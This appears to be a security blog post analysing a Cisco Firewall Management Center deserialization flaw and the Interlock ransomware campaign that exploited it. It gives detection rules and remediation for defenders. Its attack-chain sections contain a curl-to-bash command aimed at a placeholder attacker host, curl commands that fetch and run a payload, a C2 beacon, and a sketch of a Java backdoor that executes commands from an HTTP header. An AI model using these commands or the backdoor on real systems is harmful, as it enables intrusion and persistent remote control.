Post

CVE-2026-20131 CVSS 10.0 Cisco Firewall Management Center Zero-Day Exploited by Interlock Ransomware

CVE-2026-20131 CVSS 10.0 Cisco Firewall Management Center Zero-Day Exploited by Interlock Ransomware

Executive Summary

CVE-2026-20131 is a CVSS 10.0 Critical Remote Code Execution vulnerability in Cisco Secure Firewall Management Center (FMC) Software — the centralized management platform controlling enterprise Cisco firewall deployments worldwide. The flaw, rooted in insecure Java deserialization (CWE-502), allows an unauthenticated, remote attacker to execute arbitrary code as root on the affected device.

What makes this vulnerability uniquely alarming:

  1. No authentication required. Anyone with network access to the FMC web interface can exploit it.
  2. It was weaponized as a zero-day for 36 days before Cisco disclosed it publicly.
  3. The Interlock ransomware group actively exploited it beginning January 26, 2026 — more than a month before the March 4 patch.
  4. Cisco FMC controls firewalls. Compromising FMC means compromising the device that is supposed to protect the entire network.

Amazon Threat Intelligence teams, who discovered the campaign, described the attack chain in detail after Interlock’s own infrastructure server was misconfigured and exposed their toolkit. Cisco has since confirmed active exploitation and released patches — but organizations that were targeted during the 36-day zero-day window may already be fully compromised.


CVE Summary

FieldDetail
CVE IDCVE-2026-20131
ProductCisco Secure Firewall Management Center (FMC) Software; Cisco Security Cloud Control (SCC)
Vulnerability TypeInsecure Deserialization of Untrusted Data (CWE-502)
CVSS v3.1 Score10.0 — CRITICAL
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeChanged
ImpactRoot-level RCE — Complete CIA triad compromise
DisclosedMarch 4, 2026 (Cisco semiannual advisory)
Zero-Day Exploitation StartedJanuary 26, 2026 (36 days before disclosure)
Exploited ByInterlock Ransomware Group
Workarounds AvailableNone

Affected Versions

Cisco FMC VersionVulnerable RangeFixed Version
6.x / 7.0.x6.4.0.13 before 7.0.97.0.9
7.1.x / 7.2.x7.1.0 before 7.2.117.2.11
7.3.x / 7.4.x7.3.0 before 7.4.67.4.6
7.6.x7.6.0 before 7.6.57.6.5
7.7.x7.7.0 before 7.7.127.7.12
10.0.x10.0.0 before 10.0.110.0.1

Note: Cisco Security Cloud Control (SCC) was patched automatically by Cisco during routine maintenance. No action required for SCC customers.


What Is Cisco FMC and Why Is It a High-Value Target?

Cisco Secure Firewall Management Center (FMC) — formerly known as Firepower Management Center — is the centralized management console for Cisco’s enterprise firewall ecosystem, including:

  • Cisco Firepower Threat Defense (FTD)
  • Cisco ASA with FirePOWER Services
  • Cisco Next-Generation Intrusion Prevention System (NGIPS)

In a typical enterprise deployment:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌─────────────────────────────────────────────────────────┐
│              CISCO SECURE FMC (Management)              │
│   - Push firewall policies to all managed devices       │
│   - Control traffic inspection rules                    │
│   - Manage VPN configurations                           │
│   - View all network traffic and IDS alerts             │
│   - Credential store for all managed devices            │
└──────────────┬──────────────┬──────────────┬────────────┘
               │              │              │
        ┌──────▼──────┐ ┌────▼──────┐ ┌────▼──────┐
        │ FTD Firewall│ │FTD Firewall│ │FTD Firewall│
        │ (Datacenter)│ │  (Branch) │ │  (Cloud)  │
        └─────────────┘ └───────────┘ └───────────┘

Why FMC is the crown jewel for attackers:

  • Controls firewall rules → attacker can open any port, disable any inspection
  • Contains credentials for all managed network devices
  • Has visibility into all monitored network traffic (IDS/IPS alerts)
  • Often has privileged network access to internal segments
  • Compromise FMC = blind the organization’s entire network security apparatus

Technical Deep Dive: Java Deserialization

The Root Cause

The vulnerability resides in the web-based management interface of Cisco FMC, which is built on a Java web application stack. Internally, the application processes user-supplied Java byte streams — serialized Java object data — in certain request handlers.

The critical flaw: the application deserializes incoming Java byte stream data without adequate validation of its content or source. This is the classic CWE-502 pattern: trusting data that must never be trusted.

How Java Deserialization Attacks Work

Java serialization converts objects into a byte stream for transmission. Deserialization is the reverse. When an application deserializes data from an untrusted source, an attacker can craft a malicious serialized object that, when reconstructed, triggers unintended code execution via a gadget chain.

1
2
3
4
5
Normal flow:
[Legitimate Java Object] → serialize() → [Binary Byte Stream] → deserialize() → [Object Reconstructed]

Attack flow:
[Crafted Malicious Payload] → send to FMC web endpoint → deserialize() → [Gadget Chain Fires] → [Root RCE]

Gadget chain concept for Java:

1
2
3
4
5
6
7
8
9
10
11
12
13
// Conceptual — Java gadget chain using Apache Commons Collections
// (classic pattern exploited in many Java deserialization attacks)

// Step 1: Attacker crafts payload using ysoserial tool
// ysoserial generates serialized payloads leveraging gadget chains
// in libraries bundled with the target application

// Example target gadget chain: CommonsCollections1
// Chain: InvokerTransformer → ChainedTransformer → LazyMap → TiedMapEntry
//        → HashMap → Runtime.exec("bash -c 'curl attacker.com/stage2 | bash'")

// The serialized binary payload is sent as HTTP request body
// When FMC deserializes it → chain fires → OS command executes as root

The Attack Endpoint

The exploit targets a specific path in the FMC web interface that processes deserialized Java objects. While Cisco has not disclosed the exact endpoint, based on observed attack patterns, crafted HTTP requests are sent to the management web interface:

1
2
3
4
5
6
POST /path/to/vulnerable/endpoint HTTP/1.1
Host: fmc.target.corp:443
Content-Type: application/x-java-serialized-object
Connection: close

[Binary Java serialized payload — gadget chain targeting root RCE]

The attack is entirely pre-authentication — no cookies, tokens, or credentials needed.


The Interlock Ransomware Attack Chain

Amazon Threat Intelligence teams uncovered the full attack chain after Interlock inadvertently exposed their infrastructure through a misconfigured server. The chain consists of four distinct stages:

Stage 1: Initial Exploitation

1
2
3
4
5
6
7
8
Attacker → Sends crafted HTTP POST to FMC web interface
           [Malicious Java serialized object in body]
                    ↓
           FMC deserializes payload
                    ↓
           Gadget chain fires → arbitrary Java code executes as ROOT
                    ↓
           Initial foothold established on FMC server

Stage 2: Confirmation Beacon (HTTP PUT)

After successful code execution, the compromised FMC is instructed to phone home — confirming to Interlock’s operators that exploitation succeeded:

1
2
3
4
5
PUT http://[attacker-C2-server]/confirm/[victim-id] HTTP/1.1
Host: [attacker-C2-server]
Content-Length: [x]

[Generated file proving execution — host info, timestamp, etc.]

This confirmation mechanism served two purposes:

  1. Alerts operators to proceed with next-stage payload delivery
  2. Allows Interlock to triage victims (is this a valuable target?)

Amazon’s clever insight: By mimicking this beacon from their own infrastructure, Amazon’s threat intelligence team tricked Interlock into treating them as a confirmed victim — revealing the next stages of the attack chain.

Stage 3: Payload Delivery — ELF Binary or Java Backdoor

Upon receiving the confirmation PUT, Interlock delivers one of two payloads:

Path A: ELF Binary (Linux Executable)

1
2
3
4
# Commands issued to compromised FMC to fetch and execute:
curl -s http://[attacker-server]/payload.elf -o /tmp/.sys
chmod +x /tmp/.sys
/tmp/.sys &

The ELF binary is Interlock’s primary implant — a custom RAT that establishes persistent C2 communication.

Path B: Java Class File (Memory-Resident Backdoor)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Conceptual — Java ServletRequestListener backdoor
// Loaded by the existing JVM without writing files to disk

public class BackdoorListener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent event) {
        HttpServletRequest req = (HttpServletRequest) event.getServletRequest();
        String cmd = req.getHeader("X-Cmd"); // Hidden command channel in HTTP header
        if (cmd != null) {
            // Execute command in memory, return output in response
            Runtime.getRuntime().exec(cmd);
        }
    }
}
// Registered as a listener → intercepts ALL HTTP requests to FMC
// Fileless — no disk artifacts, evades file-based AV/EDR

This Java backdoor is particularly sophisticated:

  • Fileless — exists only in JVM memory
  • Persistent — survives web application restarts (registered as listener)
  • Covert — hides commands in HTTP headers of legitimate-looking traffic
  • No disk artifacts — traditional file scanning detects nothing

Stage 4: Full Post-Exploitation

With persistent access established on the FMC server, Interlock proceeds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
FMC Server Compromised
        │
        ├──► Deploy SystemBC RAT (proxy/C2 tunnel)
        ├──► Drop credential stealers (cht.exe)
        ├──► Install keylogger (klg.dll)
        ├──► Lateral movement via RDP, AnyDesk, PuTTY
        │
        ├──► Abuse FMC's firewall management:
        │    → Disable security rules on managed firewalls
        │    → Open firewall rules for attacker's IP ranges
        │    → Blind network security monitoring (IDS/IPS)
        │
        ├──► "Hotta Killer" — exploit gaming anti-cheat driver
        │    → CVE-2025-61155 (zero-day in anti-cheat driver)
        │    → Kill EDR solutions across the network
        │
        ├──► Data Exfiltration:
        │    Azure Storage Explorer, AZCopy, MegaSync
        │    → Exfiltrate sensitive data before encryption
        │
        └──► Ransomware Deployment:
             → Encrypt files with ".interlock" extension
             → Double extortion: pay ransom OR data gets published
             → TOR-based negotiation portal

Full kill chain timeline:

1
2
3
4
5
Jan 26, 2026    → Interlock begins zero-day exploitation
Feb – Mar 2026  → Organizations compromised, data exfiltrated, ransomware deployed
Mar 4, 2026     → Cisco publicly discloses CVE-2026-20131, releases patches
Mar 2026        → Amazon Threat Intelligence publishes detailed attack chain
                   Cisco confirms active exploitation

The Interlock Ransomware Group: Profile

AttributeDetail
TypeRansomware-as-a-Service (RaaS) operator
Suspected originUTC+3 timezone (Russia / Middle East)
First observed2024
TargetsEducation, healthcare, government, manufacturing, critical infrastructure
ModelDouble extortion (encrypt + threaten to publish stolen data)
Extension.interlock
Unique TTPGaming anti-cheat driver exploitation (Hotta Killer) to kill EDR
Toolkit exposedMisconfigured infrastructure server leaked full toolkit to Amazon researchers

The group is notable for citing data protection regulations (GDPR, HIPAA) in ransom notes — arguing victims have a legal obligation to pay to prevent data exposure, adding regulatory pressure on top of operational disruption.


Detection

Network Indicators

1
2
3
4
5
6
7
8
9
10
11
12
13
14
- Unusual HTTP POST requests to Cisco FMC management interface with:
  → Content-Type: application/x-java-serialized-object
  → Binary body content (non-printable characters, "aced0005" magic bytes)
  → Requests from unexpected source IPs
  
- HTTP PUT requests from FMC server to external unknown IPs
  (beacon confirmation stage)
  
- Outbound connections from FMC server to new/unknown hosts
  especially shortly after a POST request to management interface
  
- Large outbound data transfers from FMC server
  → Azure Storage endpoints (AZCopy exfiltration)
  → MegaSync infrastructure

Host-Based Indicators

1
2
3
4
5
6
7
8
9
10
11
12
On Cisco FMC Server:
- New files in /tmp/ with execute permissions
- Suspicious ELF binaries executed from /tmp/
- Java process spawning child processes (curl, wget, bash)
- New registered Java listeners in web application context
- Process termination of security tools (EDR processes killed)
- Unusual CPU/memory spikes from JVM process

File indicators:
- .interlock file extension on any filesystem
- Files: cht.exe, klg.dll (credential stealer, keylogger)
- SystemBC RAT artifacts

Java Deserialization Detection

1
2
3
4
5
"aced0005" — Magic bytes at start of Java serialized stream
Look for this pattern in:
- HTTP POST body content captured by WAF/proxy
- Network traffic captures (pcap analysis)
- Application server request logs (if body logging enabled)

Sigma Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
title: Potential Cisco FMC Java Deserialization Exploitation
status: experimental
description: Detects HTTP POST requests to Cisco FMC with Java serialized object magic bytes
logsource:
    category: webserver
detection:
    selection:
        cs-method: POST
        cs-uri-stem|contains:
            - '/ui/'
            - '/login'
            - '/fmc'
        c-s-body|startswith: 'aced0005'
    condition: selection
falsepositives:
    - Legitimate Java application traffic (verify against baseline)
level: critical

Mitigation & Remediation

Immediate: Patch

Use Cisco’s Software Checker tool to verify your version and upgrade path: https://sec.cloudapps.cisco.com/security/center/softwarechecker.x

Your VersionUpgrade To
Any 6.x / 7.0.x7.0.9
Any 7.1.x / 7.2.x7.2.11
Any 7.3.x / 7.4.x7.4.6
Any 7.6.x7.6.5
Any 7.7.x7.7.12
Any 10.0.x10.0.1

⚠️ There are no workarounds. Patching is the only fix.

Network Isolation (Compensating Control)

While patching is being arranged:

1
2
3
4
5
6
7
8
9
10
11
1. Restrict FMC management interface access:
   - Allow only from trusted internal management VLAN
   - Block all internet-facing access to FMC web interface (port 443/8305)
   - Implement ACLs or firewall rules on the management network

2. Deploy WAF in front of FMC (if architecturally feasible):
   - Block requests with Java serialized object Content-Type
   - Alert on binary content in POST bodies

3. Monitor FMC server for outbound connections:
   - Alert on any outbound connections to non-Cisco/non-internal IPs

Post-Incident (If Exploitation Suspected)

1
2
3
4
5
6
7
8
9
10
1. IMMEDIATELY isolate FMC server from network
2. Preserve full disk image and memory dump for forensics
3. Assume ALL credentials managed by FMC are compromised:
   → Rotate credentials on all managed firewall devices
   → Review VPN configurations for unauthorized changes
   → Audit firewall rules for unauthorized modifications
4. Check for .interlock file extensions on any connected systems
5. Review outbound traffic from FMC server for past 60+ days
6. Search for cht.exe, klg.dll, SystemBC artifacts across network
7. Engage Cisco PSIRT and consider incident response firm

MITRE ATT&CK Mapping (Interlock Campaign)

TacticTechniqueID
Initial AccessExploit Public-Facing ApplicationT1190
ExecutionExploitation for Client ExecutionT1203
PersistenceServer Software Component: Web Shell (memory-resident)T1505.003
PersistenceScheduled Task / CronT1053
Defense EvasionRootkit / Reflective Code LoadingT1620
Defense EvasionImpair Defenses: Disable or Modify Tools (Hotta Killer)T1562.001
Credential AccessCredentials from Password StoresT1555
DiscoveryNetwork Service DiscoveryT1046
Lateral MovementRemote Desktop ProtocolT1021.001
Lateral MovementRemote Access Software (AnyDesk, ConnectWise)T1219
CollectionData from Network Shared DriveT1039
ExfiltrationExfiltration to Cloud Storage (AZCopy, MegaSync)T1567.002
ImpactData Encrypted for Impact (Ransomware)T1486
ImpactFinancial Theft / ExtortionT1657

The Bigger Picture: Firewalls as Initial Access Vectors

CVE-2026-20131 is part of a growing and deeply concerning trend: threat actors targeting perimeter security devices themselves as the initial entry point.

CVEProductYearExploited By
CVE-2023-20269Cisco ASA/FTD VPN2023Multiple threat actors
CVE-2024-3400Palo Alto GlobalProtect2024UTA0218 (nation-state)
CVE-2024-21887Ivanti Connect Secure2024Multiple APTs
CVE-2025-0108Palo Alto PAN-OS2025Active exploitation
CVE-2026-20131Cisco Secure FMC2026Interlock Ransomware

The pattern is consistent: organizations that have invested heavily in perimeter security are now finding that the perimeter devices themselves are the attack surface. A firewall with an unpatched management interface is worse than no firewall — it provides a false sense of security while actively being used as a pivot point.


Conclusion

CVE-2026-20131 is a rare combination of worst-case scenario attributes: CVSS 10.0, no authentication required, no workarounds, actively exploited as a zero-day, and targeting the device responsible for an organization’s entire network security posture.

The 36-day gap between initial zero-day exploitation (January 26) and Cisco’s public disclosure (March 4) is a stark reminder of the reality of zero-day exploitation: by the time a CVE number is assigned and a patch is released, organizations may already be months into a breach they have not yet discovered.

For security teams: patch immediately, audit FMC access controls, and conduct threat hunting for Interlock indicators across environments where FMC was internet-accessible during January–March 2026. Assume compromise until proven otherwise.


References


This post is intended for security researchers, enterprise defenders, and Cisco FMC administrators. All technical examples are based on publicly disclosed research from Cisco PSIRT and Amazon Threat Intelligence.

This post is licensed under CC BY 4.0 by the author.